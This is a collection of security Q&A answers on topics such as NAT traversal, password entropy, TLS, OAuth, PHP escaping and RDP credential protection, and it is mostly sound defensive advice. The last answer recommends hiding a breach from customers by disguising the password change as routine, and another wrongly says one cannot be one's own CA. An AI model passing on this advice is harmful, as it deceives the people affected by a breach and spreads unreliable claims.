I am sorry, may be I don,t understand your procedure correctly. There are two types of Symmetric NAT 1) Sequential Symmetric NAT (incremental/decremental) 2) Random Symmetric NAT (totally random). It is possible to do P2P between PRC to sequential Symmetric using port prediction mechanism.

But in case of random symmetric it is not possible. I wonder how it works by opening only 32 ports on the Symmetric nat. And how are you chossing these random ports when you are sending packet from PRC to Symmetric at the rate of 64 packets every 0.1?


Can a Firefox extension read preferences or data stored by other extensions?

Absolutely. Legacy Firefox extensions can do anything. They can access each others' preferences, snoop your Google password, read or write arbitrary files belonging to other extensions, read or write arbitrary files belonging to other software... anything.

Firefox is moving away from older overlay and bootstrapped extensions towards more isolated SDK and WebExtensions, but it's not there yet, and the older extension types are still fully supported.

You should absolutely only install trustworthy extensions, which is partly why Mozilla reviews extensions listed on AMO, and increasingly discourages unreviewed, unsigned extensions.


Application level protection against Meltdown, Spectre, Foreshadow, Fallout. Zombieload

Yes, theoretically applications can work around these issues. However, it's most probably not a threat the average user faces.

Further, these workarounds will be detrimental to performance. It most likely requires lots of work to ensure that no potentially dangerous instruction is used, and even then one can't be 100 % sure if absolutely everything was done right.

As a result, software vendors will see the amount of work required, compared to the relatively small gain in security, and just decide it's not worth it. The aptly named website cpu.fail lists several newly found bugs and FAQs about them.

To cite the ZombieLoad FAQ (emphasis mine):

  Q: Are these software bugs?

  A: No. These are bugs in the processor. Software can work around these bugs, which costs performance. Future processors will have integrated fixes.


How secure are passwords made of whole english sentences

Would be great if the answer contains some calculations which estimate the password security and some references about this topic.

I very recently answered almost the exact same question here: Confused about (password) entropy

The time it takes to crack your password is exactly equal to the amount of time it takes to test a single password multiplied by the number of passwords that will be tried before yours. Since you're attempting to predict someone else's behavior, that's really all you can say.

There are other estimates that try to figure out what number this will be in some general case, but those are necessarily always wrong, since the attacker doesn't have to follow whatever mathematical model you construct. Clearly the password will be guessed quickly if the attacker is going off a list of keystrokes from your computer, and clearly the password will never be guessed if the dictionary the attacker is using doesn't contain your password at all.

Occasionally people will use the concept of entropy to make this kind of estimation, but again, in the real world how well does that hold up? A password consisting the letter 'a' repeated 27 times has very low entropy, but would withstand just about every dictionary attack in common use... until extremely long single-letter passwords become all the rage and attackers start looking for it.

The more common a password pattern becomes, the more likely attackers will look for it.

In general, password attacks try passwords in this order:

commonly used passwords
simple dictionary-based passwords (lowercase letters only),
more complex dictionary-based passwords (mixed case, sprinkle in numbers and punctuation according to some common patterns)
exhaustive search of the entire keyspace starting with short passwords and progressing to long ones

If you can withstand the first 3 types and you have a reasonably long password, you're pretty much home free because an exhaustive search of a this size of keyspace is infeasible. Most attacks stop after types 1, only concerted attacks even attempt types 3, and types 4 is desperation.


How do anti-virus apps for Android work?

The basic tasks of an antivirus do not require that much of super-user accesses; to see whether a given executable file seems to contain a known virus, then read access to that file is sufficient. This can be done from userland, without modifying the kernel or even obtain root privileges; the system of configurable permissions for apps can handle that. Similarly, interception of network traffic can be done with the relevant permission.

What would require fiddling with the kernel would be launching the antivirus on a file when that file is executed. But Android has a stricter security model than desktop operating systems; application code cannot do everything it wishes, e.g. inspecting the RAM used by other applications. This constraints what an antivirus can do, but also what virus can do. If malware has already gone beyond this system-enforced layer, then things are much worse than what antivirus can fix.

On a rooted device, of course, these things change a lot. A rooted device is much similar to, say, a PC. In that case a PC running a kind of Linux, where both virus and antivirus are scarce.

Apparently, Google is (or was) very much against the mere idea of an antivirus on Android. The permissions model is such that, at least on the paper, malware filtering is better done on the app repository (Google Play); at least so it is claimed. Antivirus software is useful only as long as it detects malware which would otherwise be disruptive for your device or your data, but such disruption would be considered as a bug on either the OS or the app repository, and promptly fixed by Google. Thus, an antivirus is efficient only insofar as the antivirus vendor and its update policy are more reactive than Google themselves.


Can I sign a new certificate with a previously paid for certificate

No, the certificates you purchase for SSL are not valid for certificate signing.  This is enacted via usage extensions.

It is possible to buy signing certificates which can be used for that purpose, but it is prohibitively expensive - the certificate authorities do not, after all, wish to put themselves out of business.


Authentication SSO token security - SAML, OpenID Connect

The tokens are secured at multiple level

Transport - Most of the specs recommend SSL (and some mandate it)
Use once - These token are just meant to transfer identity once and then the asserted identity can be attached with local session for further processing. Most of the specs contain safeguards to allow IdP & SP to track the generation and use of token only once.
IdP Trust - The IdP & SP trust mechanism is built in to ensure that only trusted Identity Provider can set an identity at service provider through the protocol.

The checks for MIM and other attacks are built in to each protocol and you can read the RFC/Specs for each of the protocol to see how they stop those attacks.


Basic nginx securing / restricted access

* Use an authenficiation for apps that don't have their own. Otherwise anyone can use it.

You can use HTTP basic auth for that. It's basic, like the name says.
https://www.digitalocean.com/community/tutorials/how-to-set-up-http-authentication-with-nginx-on-ubuntu-12-10

* Restrict access to certain machines. I know Nginx can deny access based on IP adress, I was wondering if I could achieve this using other variables such as mac adress for example?

I actually wouldn't recommend that. Mac addresses can be spoofed. I.P auth plus a password should be plenty. IP addresses can be spoofed too, but it's a little more problematic to pull off in this context.

https://superuser.com/questions/19383/why-is-mac-based-authentication-insecure

* Prevent search engines to index what is on my server. I have read that I could use an Apache .htaccess but can I do it with nginx ? What is the difference with robots.txt files ?

Use Robots.txt to tell the search engine what you want it to stay away from. Use htaccess/basic auth to make sure. The search engine can't read anything it doesn't have a password to, although it might see that there is a page there (a forbidden is sort of proof of the existence of a page in a way.)

http://en.wikipedia.org/wiki/Robots_exclusion_standard

* How would one isolate webapps ? I was wondering if I could run each apps as separate users in order to harden security. Otherwise (someone tell me if I'm wrong) a security breach in one of them (and that may happen often with young projects) could allow an attacker to have access to all www-data user files. Regarding this thread I don't know if I must investigate in php5-fpm pools or only nginx or both.

You can run the app in a safe container of some sort, like docker offers. I believe SystemD also has a native container as well. This way there is one more "sandbox" to break out of before you're in deep, deep trouble. Keep in mind that if there is a binary exploit on your server, the attacker will often up as apache or Nginx user wise, and have access to what those servers have access to. The way a lot of hosting providers do things, is that they run each site in a virtual machine of it's own. If your box has the horsepower for this, it may be a nice solution.

You do want to make sure the permissions on all of your folders are set correctly. If you use centOS or RedHat Linux it's also possible to add another layer of fine grain permissions on to web related folders to further lock them down (investigate SE linux.) Since you are on Ubuntu, that's not an option, but if you ever change you should check it out. Likewise, freeBSD has a concept of "Jails" that limits an apps access to the whole system. You may find this interesting too.

Some extra things you didn't ask about but I'll tell you

Make sure and hide version numbers wherever you can
Use HTTPS on everything
Encrypt everything you can, whenever you can.
Use the strongest ciphers you can all of the time
Use the strongest hashes you can.
Use very large passwords. Use a password manager that generates secure passwords for you. (Keepass is nice.)
If it is life and death that no one access this thing, don't put it on the internet. If people want it bad it enough, they will find a way.
Don't be afraid to use a hosting solution, where some of the security responsibility (IDS and such) fall on the hosting provider. No guarantee they will do it well, but if you are a new web developer, it will be very difficult to worry about all of that while you learn to program.


How to investigate potential infected client workstation

First, why are you suggesting NTLM everywhere? That alone is unsafe. Stick to Kerberos in a domain environment.
Option 1 is unsafe. Regardless of what NLA does for NTLM or Kerberos, it will fire the credential in plaintext to the remote machine and the compromised host will have the raw creds.
Option 2 is better as it doesn't leave any credentials on the machine. It does limit what you can do on the machine, so the utility of this option is "ehhh".
Option 3 does not protect you in RDP scenarios. You still fire the raw credential to the remote machine and the compromised host can do whatever they want with it.
What you should do is use Restricted Admin or Remote Credential Guard. For either of these you need to enable this registry value on the target machines:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa
DisableRestrictedAdmin DWORD = 0

Restricted Admin authenticates you to the remote machine but doesn't fire the raw credentials over. Once you've authenticated it switches to using the target machine account for outbound authentication. The side effect is any outbound access to network shares and is as the machine itself and not as the user. To connect to the remote machine you call the RDP app from the command line:
mstsc /restrictedAdmin

Remote Credential Guard is similar, but it allows you to act as yourself by instead proxying any ticket requests that normally require the credential back to the client itself. This means any outbound requests will operate as your user instead of the machine.
mstsc /remoteGuard


Reporting vulnerability in school computer system

In that order, the first hit solves it:

If your school has a bug bounty program, report it there
If your school has a sysadmin, report it there
If your school has an IT board, report it there
If your school has an IT teacher, report it there
Report it to the principal.

From the wording of your question, it seems you didn't intrude the systems or otherwise circumvent security policies.

If you did though, you'd be better off suggesting that (what you did) could maybe be done and they should check for themselves or give you permission to check.


Is there any recommended Java library for penetration testing?

I think this is what you need: http://watij.com/. As written on their site:

  Watij (pronounced wattage) stands for Web Application Testing in Java. Watij is a Java API created to allow for the automation of web applications. Inspired by the simplicity of Watir and enhanced by the power of Java, Watij automates functional testing of web applications through real web browsers.

Hope that helps.


Can files deleted from a true crypt volume be recovered?

How does the Recycle Bin work?

When you delete a file from a hard drive the file is moved to a folder named $Recycle.Bin on the same drive. So when you delete the file D:\Work_Files\SuperWeirdPr0n.mp4 it's actually moved to D:\$Recycle.Bin. The main Recycle Bin "folder" is actually just the aggregation of the content from all $Recycle.Bin folders from all the disks you have available.

How does that apply to TrueCrypt volumes?

Well, pretty much the same. When you send a file from a mounted encrypted volume to the Recycle Bin, it won't leave the encrypted volume and it will stay "safe".

If it makes you feel better, just use Shift + Del.

Can your files be recovered by a 3rd-party?

Yes. Regardless of your Recycle Bin situation, it's highly likely that there's still some evidence of the files existence somewhere and enough information to recover it. When you open files inside an encrypted volume, most programs will happily cache it somewhere else in an unencrypted format.

For more information on that, please check both answers in this question.


Is it safe to use TrueCrypt inside an encrypted Virtualbox guest OS?

Not in any way. Host software (eg. kernel rootkit) still has access to everything ie. your encryption keys inside VM's RAM.

Usually you use virtualization to protect the host against hostile code, so that the code running inside the VM can't harm the host (and there are still loopholes). There is no way to protect a VM against the host.


Which is the best way to sanitize user input in PHP?

“Sanitisation” is an unhelpful and misleading term. There are two different animals here:

Output escaping. This is an output-stage concern. When you take variable strings and inject them into a larger string that has a surrounding syntax, you must process the injected string to make it conform to the requirements of that syntax. What exactly that processing is depends on the context: if you are putting text in HTML, you must HTML-escape that text at the point of making the HTML. If you are putting text in SQL queries, you must SQL-escape the text at the point of creating the query.(*)

Input validation. This is an input-stage concern, making sure that user input is within the accepted possible values for a data item. This is primarily a matter of business rules, to be considered on a field-by-field basis, although there are some kinds of validation that it makes sense to do to almost all input fields (primarily checking for control characters).

Input validation does have security impact in that it can mitigate the damage when you've made a mistake with your output escaping. But it is not enough to rely on input validation as your only text-handling measure because you're always going to need to allow the user to use some characters that are special in some syntax or the other. You're going to want to be able to have a web page about fish & chips and a customer in your database called O'Reilly.
“Sanitisation” confuses these two concepts and encourages you to address them at the same stage, which can never work consistently. A common anti-pattern is to HTML-escape all your input. But you don't know if each input element is going to be output to HTML (and only output to HTML) at that input processing phase. If you do this:

you end up with HTML-encoded material in the database, that can't be cut up and processed without the entity references getting in the way;

if you need to create content from that data that isn't HTML, like send an e-mail or write some CSV, you've got ugly mangled text in it;

if you get content in your database from any other source it might not be HTML-escaped and so outputting it straight to the page still gives you XSS vulnerabilities.

“Sanitisation” as a concept should be destroyed by fire, then drowned, cut into little pieces and destroyed by some more fire again.
(*: in both cases it is wiser to choose a method that does the processing for you implicitly so you don't get it wrong: use an HTML templating language that escapes output by default, and a data access layer that uses parameterised queries or object-relational mapping. Similarly for other kinds of escaping: prefer a standards-compliant XML serialiser to manual XML escaping, use a standard JSON serialiser to pass data to JavaScript, and so on.)

substr if over limited values found.

Do you mean truncating too-long input strings? That's OK as a form of input validation where your business rules have valid reason to limit the length of an input. But you might prefer returning an error to the user if you have a too-long input string, as depending on what field it is it might not be appropriate to quietly discard data.

htmlspecialchars() + ent_quotes + UTF-8

This is output escaping. Do it on the values at the point you drop them into HTML, not on input. If you are using native PHP templating you may like to define yourself a shortcut to make it quicker to type, for example:
function h($s) {
    echo htmlspecialchars($s, ENT_QUOTES, 'UTF-8');
}
...

Hello, <?php h($user['name']); ?>!

str_replace < > users input

What for? If you are HTML-escaping correctly, these characters are perfectly fine, and unless your business rules says otherwise may be quite valid to include in a field—just as both characters are valid for me to type in this comment box for SO.
Of course you may want to disallow them in input validation for specific fields—you wouldn't want them in a phone number or email address.


Enterprise Standard for Linux server Penetration Testing

There are actually multiple methodologies that you can use as a guideline to do penetration testing. For example, you have PTES, which is used by some commercial pentesters.

However, the PTES is more than "OWASP Top 10 but for Linux", as it defines communication with the customer, threat modeling, etc. as well.


Email account password change via email-to-script

Is your script checking sasl_username in the headers or elsewhere?... if it's from the headers you may have issues with tampering:
https://serverfault.com/a/404885/146906

Overall this sounds to be frank, very fragile at best.  You're relying on a great many potential entrypoints remaining closed for this to continue working - were any of them to change - say someone messing up a mail config and allowing external mail in, the whole thing fails.

I have a very hard time believing passwords have any place being in an email, ever... they have properties which mean they should almost always not mix.  Even if a specific case is probably safe, it will be negatively educating users that the behaviour is sometimes ok, when it's usually extremely dangerous, even more so when it's being used like this to reset passwords.

Please do not do this.


Bcrypt like any other salted hash method use the salt to avoid that the same password hashes to the same string. It is doing that by initially generating the salt randomly and then hashing password and salt. This can only be verified if the same salt is used when verifying. This is why the salt is saved together with the hash.

Bcrypt like any other iterated hash method can not directly be inverted, but you can try all possible passwords to see if they hash to the same result. In case of salted methods you cannot precompute this, because you have to try with the actual salt (as described above).

The idea of a iterated and salted hash is, that this bruteforcing is so slow, that it takes very long to try all possible passwords. Therefore reasonable long and complex passwords cannot quickly be bruteforced. Bcrypt is one of the (with configurable workfactor) slower and therefore better methods (but it is not invincible). This is true for all password hash methods (unless they use additional protection like encryption with a secure key 'pepper' which cannot be extracted from the authentication server).

NB: Scrypt and Argon2 are more modern variants of password hashing. And PBKDF2 has similar strength than Bcrypt but with a better compliance bullshit factor.


How can CloudFlare provide a valid SSL certificate for domains not under its control?

Simply put, the webmaster of the site uploads the certificate to CloudFlare.

See this article for details.

The Keyless mode doesn't have this requirement. It uses an on premise key server instead, to provide the private key of the server. See the diagram here for details on how this works.

For free accounts

Cloudflare state in their blog:

  For all customers, we will now automatically provision a SSL
  certificate on CloudFlare's network that will accept HTTPS connections
  for a customer's domain and subdomains. Those certificates include an
  entry for the root domain (e.g., example.com) as well as a wildcard
  entry for all first-level subdomains (e.g., www.example.com,
  blog.example.com, etc.).

Cloudflare do control the domain, because the customer has pointed their DNS records to it, this means that they can gain a Domain Validated certificate. Domain validation procedures do not have to involve sending an email to the domain, which wouldn't be possible for Cloudflare to intercept because the MX record is not repointed. They can instead prove that they own the domain by putting a randomly named text file containing a random key for the CA to query in order to prove control of the domain. The CA will specify the name and contents of this file that they will then be able to check. Cloudflare could then intercept requests for the URL and display the necessary validation code.


Is there any way to protect ourselves from annoying redirects?

From the context, I understand you're referring to Chrome mobile.
This version doesn't allow addons, so you can't install any ad-blocker.

The first way to prevent (some) redirects is to browse in Desktop Mode. Many scripts will check if the browser is a mobile one before attempting a redirect.

The second is to block all URLs of malicious scripts from your router. This kinda works like an ad-blocker, but only works if you're connected to your own wifi network.

Finally, it looks like Google is trying to embed this type of security inside Chrome itself (see https://blog.chromium.org/2017/11/expanding-user-protections-on-web.html, thanks to Ajedi32 for the link).

Note: The malicious site knows your phone model because it's really easy to footprint a particular device from a web page (user agent, screen size, ...).
Those are all information your browser normally sends, and nothing to be worried about, unless for some reason you're also trying to stay anonymous.


The client suggests but the server chooses. The client sends a list of the cipher suites that it supports (and is willing to use). This list is supposed to be ordered by preference. The server responds by choosing one cipher suite in this list. Well-behaved servers try to follow the preferences of clients, but that's not really mandatory. Ultimately, the server chooses.

At the end of the handshake, Finished messages are sent, which are encrypted and MACed with the negotiated secrets. The contents of these messages are hash values computed over the complete handshake messages, including the list of cipher suites supported by the client. This means that a MitM cannot alter that list without being caught at some point.

(However, this is not entirely true in the presence of TLS FalseStart: the client could be convinced to send his request with the weakest cipher suite that it supports. But the real weakness here would be that the client is then willing to support a weak cipher suite, not that a MitM attacker has some level of control in the choice of the cipher suite. Even with FalseStart, the external alteration by the attacker will be detected by the server and the request will not be honoured, let alone responded to.)

(SSLv2 did not include the list of cipher suites in its Finished messages and it has been much touted as one of the "big flaws" of SSLv2.)


Most ssh servers these days should be configured to allow only public key based authentication, not password based authentication. Allowing password based authentication is seen by automatic scanner as an invitation to guess passwords.

Depending on your ssh server software version, you might be using outdated crypto. You should disable bad crypto and switch to ed25519 keys. The latest pre-release version of putty supports them.

You can use this scanner to check your server: discovery.cryptosense.com


How pincodes used as an authentication mechanism?

How pin codes are used, like passwords, are numerous and varied.

Sadly, there are still a lot of implementations that simply keep the pin/pass in clear text in a table (DB or Flat) correlated with the User ID.

Better, is a HASH of the pin/pass is kept correlated with the User ID. That way if the DB is compromised, they don't get clear pin/pass information. Thieves of the server table would need to break the hash, but widely available rainbow tables make that very viable.

Better-Still, is a HASH of the pin/pass + SALT. SALT is a random addition that eliminates the use of pre-computed hash/rainbow tables. Now a table thief has to spend time attempting a brute force attack. Note that with a small pin, this is quite viable as well.

Better-Still-More, is to add "round counts" of hashing the hash of the hash of the hash a few thousand to million times. This requires a thief to know the round count and if the count is large enough to require 2-3 seconds per attempt, brute force becomes even more difficult. Note that a small pin is still vulnerable.

The Bigger Concern and most common mistake made again and again is failure to prevent direct online brute force attacks. People make mistakes and need to be allowed multiple attempts, but a realistic limitation along the lines of say, 5 attempts within a 3 minute window, accounts for humans but hundreds of attempts at impossible typing speeds is an attack, don't allow that! The Linux utility "Fail2Ban" is handy for blocking these kinds of online attacks. Too many attempts within the window, block the IP for 30 minutes. A real person can wait it out to try again, but an automated high speed attack will generally give up and move on.


What is the benefit of the scope in OAuth2?

State Parameter
The scope parameter is not used to secure the authentication request against CSRF attacks (see below). But there is another parameter called "state", which matches your description.
[Asking the user]

This step cannot be skipped.

I am afraid, this assumption is not correct. It is very common, that the user is only asked for permission, when he uses a client application for the first time. After that the server remembers the client application and grants access automatically.

Indeed the spec says

[The] authorization server authenticates the resource owner and obtains an authorization decision (by asking the resource owner or by establishing approval via other means).

Other means may include that the application is trusted by the server (e. g. owned by the same company) or that the user's decision was saved.
So without a state parameter, the attacker can trick a user to log in to an application, that is known to the user in principle or generally trusted by the server.
Scope Parameter
The scope parameter is used to indicate a list of permissions, that are requested by the client:

The authorization and token endpoints allow the client to specify the scope of the access request using the "scope" request parameter.

For example permissions for a social network may include:
post_to_my_wall  send_notification  post_to_my_friends_wall  read_my_age

The value of the scope parameter is expressed as a list of space-
delimited, case sensitive strings.  The strings are defined by the
authorization server.

The server may provide all requested permissions or a modified list (for example because the user denied some permissions):

If the issued access token scope is different from the one requested by the client, the authorization server MUST include the "scope" response parameter to inform the client of the actual scope granted.

Source: https://tools.ietf.org/html/draft-ietf-oauth-v2-30#section-3.3


How to protect Server running on Windows 10 with Node Ngrok against attackers?

So I'm basically hosting a server on the machine for another internal machine to access via the internet ....

In this case protect the access with authentication, so that only this other machine can access your server. When using the authentication build into ngrok only authenticated requests will reach your server which should greatly limit the attack surface and should allow access only for trusted peers.


How do I determine if a certificate in a CT log is my own?

Check the public key, if they match, it is OK. At the end of the day, the key is the important part of the certificate, as if it is your key and the attacker therefore does not have the corresponding private key, the rest is not important.

Do not check the certificate ID as suggested, ID can be manipulated.


The changelog for Nmap 6.49BETA6 says:

[GH#171] smb-check-vulns has been split into:

    smb-vuln-conficker
    smb-vuln-cve2009-3103
    smb-vuln-ms06-025
    smb-vuln-ms07-029
    smb-vuln-regsvc-dos
    smb-vuln-ms08-067

The scripts now use the vulns library, and the "unsafe" script-arg has been replaced by putting the scripts into the "dos" category. [Paulino Calderon]


UDP flood from my machine, or false positive?

You got the report from your hosting provider. They would be able to tell whether the traffic originated from your server or if it was spoofed. So if your hosting provider is competent, then the report is most likely correct.

If I was in your shoes, there are two things I would do. I would ask the hosting provider if they can send a packet capture of some samples of the flood traffic. After inspecting the packet trace one will be in a much better position to judge the correctness of the report. Additionally I would log in on the server and run ifconfig to see how much traffic has been send by the machine since it was last rebooted. (Notice that if it is a 32 bit system, the counter wraps around at 4GB and thus is not guaranteed to be accurate.)

If your host did send a flood of UDP packets, there are different ways it could have happened. But the most likely explanation is some sort of compromise. Compromising the root account is not required to start a flood of UDP packets, compromising any single account would do. You can look if a socket is still bound to the source port of the flood traffic. If you are lucky you might find the program originating the traffic that way. I have on a few occasions seen a legitimate program accidentally produce a flood of packets without any compromise having happened. If you have any internally developed software communicating over UDP, this may be what happened to you.

Should it turn out that the provider doesn't have a packet trace to show you, and the byte count on the network interface doesn't indicate a lot of data has been send, and you can find no evidence of a compromise of the system, then it may be that the provider has simply forwarded a false report they received without performing their own investigation.


How does IKEv2 work on Android without raw sockets

The client only supports UDP-encapsulated ESP. These packets are sent/received over the same UDP sockets that are already used for IKEv2. This limitation is mentioned on the app's wiki page.


I'm concerned a website I use is vulnerable - getting vulnerabilities fixed (UK)

If you cannot (at least easily) switch providers (I assume that you are locked in to a service which cannot be moved) then you have to have a few things covered. For you, your business and your customers (if they make use of the service).

To start with, I am not a lawyer so you will be better off discussing this with a lawyer.

First read your service contract: is there anything about "reasonable efforts" the provider is supposed to make, from a security standpoint? If so, there are industrial best practices about how an application should be secured. You could point out to your provider that he is possibly in a breach of agreement.

Now - he may not care, knowing that you are locked in with him and resolving the issue in court is too long/complicated/whatever to you.

In that case you need to do some due diligence. The idea is that, in case of bad things happening (the service is breached, your and your customers' data is in the wild) you can prove that you have done all reasonable steps to alert about possible issues. Keep a copy of the exchanges. Then warn your admin that in case there is an issue, he will be responsible for all costs.

What you can do and the true value of your actions will considerably vary with the exact circumstances of your case. Again - consult a lawyer.

I would also strongly recommend planning for a provider switch. I am very much aware that this is not an easy option but it usually boils down to resources (time, money).

Finally, do not make any attempts to hack his site for demonstration purposes. This is not only possibly illegal (and subject to appreciation of a jury) but you may also harm his service with all the consequences (interruption for other customers for instance).


In SSL/TLS, how is the authenticity of a server's certificate verified?

The article is about an extension called TACK, which works more like SSH than a traditional CA system.

With a traditional CA system the CA signs (with the CA's private key) the certificate which contains the servers public key, then the browsers use a built in store of public keys of trusted CA's to verify it, with the ability to have chains and intermediary CA's there is over 600 organisations at last count (EFF's SSL Observatory data).

TACK works more like SSH where we remember the servers public key from the first connection and verify it matches. One still needs to do some kind of other verification on the first connect but after that one can then verify that the key is as expected without the need for a certificate authority. Also one widespread automatic use would also have to handle invalidation in case of key compromise. In TACK to manage this, there is a second keypair that is the one remembered by the server instead of the main one this allows for a clever way to handle invalidation.


Is KernelCare kernel patching recognized as a valid method of patching kernels by 3rd party auditors and pen testers?

We used KernelCare with Virtuozzo containers successfully and massively.
Now I'm in another company and we use KernelCare for all our DC services as well. At least with DirtyCow it was quite helpful and worth it.


Practice question for Security+ that I think is wrong. Integrity vs availability

By combining RAID with a load balancer, the question is asking about "Availability".

This appears to be a mistake in the answer. I doubt very much that CompTIA expects that "Integrity" is the intended answer.

I have taken over a couple of dozen certification exams and thousands of practice questions. It is very, very common for there to be mistakes. Your best response is to do what you've done: understand why the answer is the answer and not just memorise the answers.


How to make the most secure text editor in Django?

Regardless of framework or language, there are some things you should consider:

What functionality do I need (or want)?
How can I balance the features with Principle of Least Privilege?
What resources do I have that can be limitations?

My response is going to be language-agnostic because these principles are going to apply regardless of whatever language or framework that you are using.

From your post, you want to have the ability for users to add comments (such as what's here on SE) and upload images. There are a few common methods of doing this.

HTML controls for users (bad idea)
BBCode or similar markup (can be effective, but annoying for users)
Markdown or RST (both are built to be more natural)
Plaintext (won't allow for UI formatting)

As Wordpress and other applications have demonstrated, allowing users to post HTML code is a Bad Idea(tm). If you want users to have UI formatting, plaintext is the safest, but won't allow for UI formatting. So that leaves BBCode and Markdown as the two remaining common solutions. SE uses Markdown. It's more natural for users to type than it is [b]Blah[/b] because for emphasis, users would type **blah** for bold text anyway. This of course is not the only method, but it does greatly reduce (but not eliminate!) XSS. So why not eliminate? If you aren't careful with your Markdown (or whatever markup language you choose) parsing, you can end up with XSS attacks in links. Most use cases only need http and https protocol handlers in URLs, so you have an opportunity to exercise Principle Of Least Privilege there.

As for uploading images, this can be a bit more difficult. This is where the resources I mentioned come in. Do you have the ability to purchase a sandbox domain? If you do, in addition to processing images, you can serve them from a sandbox domain so that you limit exposure for XSS, RCE, and other attacks. A sandbox domain is one that removes content from the origin of the application. For example, www.google.com applications (Gmail, Google Docs) use googleusercontent.com as the sandbox domain. This domain's sole purpose is to serve user-provided content. Google cookies and DOM are not accessible because the origin is different. Further, this domain should serve content from a server that does not have the ability to do anything other than serve static content, so PHP code cannot be embedded in to the images, or a vulnerability in image processing would not impact your database and application code.

Image processing? Another best practice is to pass image uploads through image processing. If you only expect JPG and PNG for example, this is easy. You can resize an image 1:1, and it will fail on broken images, removing much of the XSS vectors and RCE vectors.

As you've no doubt noticed, my response has been about layering defenses. When you consume user data, there's no panacea. You have to weigh the risks, wanted features, and how to best limit the exposure of the features you want to give users.


Should I worry about GitHub using IP addresses that are described as having an unknown host?

No, you should not be worried, but you should be checking GitHub's server fingerprint rather then relying on IP addresses.

With git command you do it only on first (ever) connection. If the public key (corresponding to the fingerprint) is in known_hosts file, subsequent connections to github.com cause only warning if the domain got resolved to a new IP address.
It is equivalent of using ssh command with CheckHostIP=no option.

You should be cautious (and check with a trusted source) if a new fingerprint was displayed on your screen for confirmation.

Regarding ip-lookup.net results:

ip-lookup.net figures out what DNS name is associated with an IP address using a reverse DNS.

In case of 192.30.253.112 it queries the address 112.253.30.192.in-addr.arpa which does not have a corresponding forward DNS record.

It seems like a misconfiguration or not strictly enforced-one on GitHub side, however the verification mechanism would not be viable in this scenario.

In case of Git (SSH) client connecting to github.com domain, if you assumed a compromised DNS server redirecting to a rogue IP, the verification of the destination address using reverse DNS lookup would be susceptible to the same attack (compromised DNS server would confirm the address to belong to github.com owner with reverse DNS).

Regardless of IP ownership verification, checking the server fingerprint assures no server impersonation or MitM attack is taking place.


Why do we need certificates confirming certificates?

It's a way of managing "trust".  Let's say you do business with MyBank.com.  Would you want to type your account number and PIN in the clear, and let any hacker on the network view it?  Probably not -- you shouldn't trust such a system.  So you want to encrypt the data.  Also, would you trust every web page with a pretty logo proclaiming itself to be "MyBank.com"?  Would you type your account number and PIN into it?  I hope not, because there is nothing secure about showing a copy of a picture.  So we know trusting the logos isn't enough.  We now have two different, but related problems:  we have to secure the data through encryption, and we have to know if we can trust this site is who they say they are.  Certificates are designed to help solve both of those problems.  The certificate contains the public key of the remote site so we can encrypt the data, and it has a signature we can use to confirm the public key is the right key, and not a fake key provided by a criminal.

But just because a web site encrypts your data, and hands you a certificate, how do you know the certificate you've got is actually for MyBank.com?  How can you trust it?

We could confirm it directly.  The next time we visit the lobby of MyBank.com we could ask the cashier, "Cashier, please give me a copy of the certificate to your bank's web site, so that I know I can trust it."  And that would absolutely work -- for that bank, one certificate at a time.

But let's say you also want to do business with CheapBank.com, located in a distant city.  Traveling there just to confirm their certificate would be expensive, so you wouldn't do it.  How could you do business with them and still know that you can trust them?  You could ask someone else to verify their identity for you.  Let's say you have a friend in that city.  You call him up, you ask him to drive to CheapBank.com, get a copy of their certificate, and send it to you.  That would work, too, but now it's more work.  (And it opens a different can of worms - how do you know the mailman or your friend didn't swap certificates?)

The answer we have settled upon is to have a trusted third party sign the certificates.  These are companies that anyone with a certificate can go to, provide some kind of proof that they are who they say they are, and this third party will then sign their certificate.  This signature is an attestation by Valid-Certificates-R-Us.com that this is actually CheapBank.com's genuine certificate.  Of course, how do we know that Valid-Certificates-R-Us.com actually signed their certificate?  By validating the signature with their certificate!

This leads to another problem:  how do we know that Valid-Certificates-R-Us.com is a trustworthy certificate signer?  For all we know, it could be run by a criminal gang, who will sign certificates for anyone trying to commit fraud.  The answer is "the self-signed certificate", which means that Valid-Certificates-R-Us.com signs their own certificate with their own signing key.  How does this help us? Why should we trust a self-signed certificate just because it was signed by Valid-Certificates-R-Us.com?  We shouldn't.  It's the same problem we originally had validating the bank.

So, to combat this, your operating system vendor or your browser vendor doesn't trust random self-signed certificates. It only trusts self-signed certificates that it installed.  Your OS vendor validates the certificates they are going to install before they package the OS and ship it to you.  If you look deep inside your computer, you'll find that there are a few hundred different self-signed certificates, from different certificate signing authorities scattered around the globe.  Many are issued by companies in the certificate business, some are issued by various national banks.  All have been checked out by your OS or browser vendor.  If one of these entities is ever caught issuing bad certificates, an emergency patch from your vendor will remove their certificate from your computer, causing you to no longer trust them, or any of the web sites whose certificates they signed.

So, if you step back from all this and look at the picture of these relationships, it looks like a tree:  at the root you have one browser, which trusts hundreds of self-signed certificates, each of those self-signed certificates is used to sign many thousands of other certificates, each of which can attest to one of the millions of web sites out there.


Self created CA root for client certificates

CA means Certifying Authority. You can't be a CA to yourself (known as self signed). There are separate entities that are considered valid CA, like VeriSign or Symantec. Certificates obtained from these CA will not raise any issues when you're using the webserver. Else, you'll see a message that the certificate can't be trusted or is not from a trusted source.

makecert will create self signed certificates only. Since it's for production, I would prefer to get certificates from a valid CA only.


I'm going to hazard a guess and say that this flag in your config is being ignored:

Looking at the httpCookies docs it says that "This setting is overridden by any other feature that exposes the requireSSL configuration"

One way to ensure that it is set would be to do it in dedicated code.

This Stack Overflow answer has an example

Basically before the response is complete in protected void Application_EndRequest(Object sender, EventArgs e) in Global.asax you check for the correct cookie and set the .Secure property to true


The answer on how the attacker might find your DNS is actually explained
 in "24 deadly sins of software security"  you probably refer to:

Either the attacker is in the same network and uses the same server or can sniff what server you are using.
Or the attacker can provoke a DNS request to its own domain (where the attacker has full control over the DNS server) from your host. This can be done for example with a targeted advertisement in a website, a link in a mail etc. The attacker can then see where the DNS request originated which is probably the server you asked to resolve the hostname. Of course this only works if you use public servers and not a recursive DNS server inside your local network.

No "weakness" of UDP is needed to get these information.


Who can read our customers email and try to hack our mailserver

If the customer system is infected or email account is compromised then the attacker can easily get your details.

To answer your second point, I wont suggest to inform your customers about security breach. People wont trust on this part, and may lead to confusion and panic. Instead you can send email to make it look like routine security exercise in which you want people to change there password to have the communications secure.

Block those IP address at network level blacklist or hardware firewall level.
One more way is to get new email address for sending.


